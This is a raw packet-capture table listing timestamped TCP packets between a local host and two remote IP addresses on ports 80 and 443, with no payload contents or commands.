Nov 12, 2024 10:37:35.304790974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304800987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304807901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304814100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.304816961 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304832935 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.304848909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.305136919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305146933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305155993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305176973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.305181026 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305192947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305201054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.305216074 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.305229902 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.305401087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305413008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305434942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305445910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305457115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305465937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305471897 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.305476904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305490017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305495977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.305500984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305509090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.305515051 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.305535078 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.305557013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306046963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306057930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306067944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306080103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306091070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306096077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306103945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306113958 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306117058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306130886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306139946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306143999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306155920 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306158066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306169987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306170940 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306183100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306194067 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306199074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306205988 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306214094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306221962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306235075 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306248903 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306794882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306806087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306817055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306828976 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306833982 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306842089 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306854010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306859970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306863070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306878090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306879997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.306891918 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.306905985 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.307292938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307305098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307326078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307337046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307338953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.307349920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307362080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307373047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307379961 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.307383060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307393074 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.307395935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307409048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307411909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.307420969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307437897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307440042 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.307461023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307465076 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.307472944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307486057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307496071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.307499886 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.307509899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.307565928 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308192968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308204889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308216095 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308227062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308234930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308238983 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308254004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308254957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308267117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308278084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308279991 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308290005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308299065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308305025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308311939 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308329105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308336973 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308357954 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308868885 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308880091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308891058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308912039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308919907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308923960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308938026 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308947086 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308949947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308962107 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.308963060 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308975935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308985949 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.308990955 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.309010983 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.347230911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.347250938 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.347290039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.347332954 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.347367048 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.347378969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.347419024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.347543955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.347556114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.347565889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.347600937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.347625971 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.347718000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.347775936 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.357815981 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.357840061 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.357884884 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.357908010 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.357927084 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.357938051 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.367270947 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.367291927 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.367333889 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.367353916 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.367368937 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.367393017 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.420619011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.420635939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.420648098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.420712948 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.420754910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.420782089 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.420814991 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.420840979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.420936108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.420947075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.420974016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.420994043 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.421013117 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.421097040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421108961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421119928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421130896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421144009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421148062 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.421158075 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.421186924 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.421371937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421453953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421466112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421475887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421488047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421495914 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.421497107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421525002 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.421538115 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.421811104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421823025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421833992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.421876907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.421936989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422063112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422074080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422084093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422091007 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422099113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422110081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422121048 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422138929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422153950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422164917 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422166109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422178984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422192097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422199965 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422768116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422780037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422791004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422801971 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422813892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422816992 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422825098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422842026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422852993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422853947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422864914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422878027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422884941 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422888041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422894001 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422900915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422913074 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.422930956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.422971010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.423666954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.423681021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.423702955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.423715115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.423722982 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.423726082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.423742056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.423748970 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.423755884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.423768997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.423774004 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.423798084 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.423820972 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.424261093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424273014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424283028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424309015 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424309015 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.424321890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424333096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424333096 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.424345970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424356937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.424362898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424376011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424382925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.424386978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424401999 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.424415112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424427032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.424436092 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.424459934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.425194025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425206900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425216913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425239086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425251007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425261974 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.425262928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425276995 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425287008 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.425290108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425301075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425302029 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.425314903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425329924 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.425329924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425344944 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.425352097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.425354958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425369024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.425373077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.425386906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.425395966 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.426162958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426175117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426184893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426194906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426217079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426224947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.426228046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426239014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426249981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.426250935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426260948 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.426263094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426275969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426287889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426290035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.426300049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426305056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426311016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426315069 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.426326990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.426340103 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.426379919 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.427081108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427105904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427117109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427126884 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.427128077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427136898 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.427139997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427153111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427160025 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.427165031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427169085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.427180052 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427191973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427201033 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.427205086 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.427212000 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.427247047 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.464344025 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.464397907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.464407921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.464433908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.464481115 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.464586973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.464601040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.464612961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.464624882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.464664936 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.464839935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.464901924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.464953899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.472184896 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.472213984 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.472259998 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.472278118 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.472297907 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.472326040 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.484525919 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.484545946 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.484596968 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.484623909 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.484638929 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.484663963 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.521449089 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.521528006 CET	49944	443	192.168.2.6	23.47.50.145
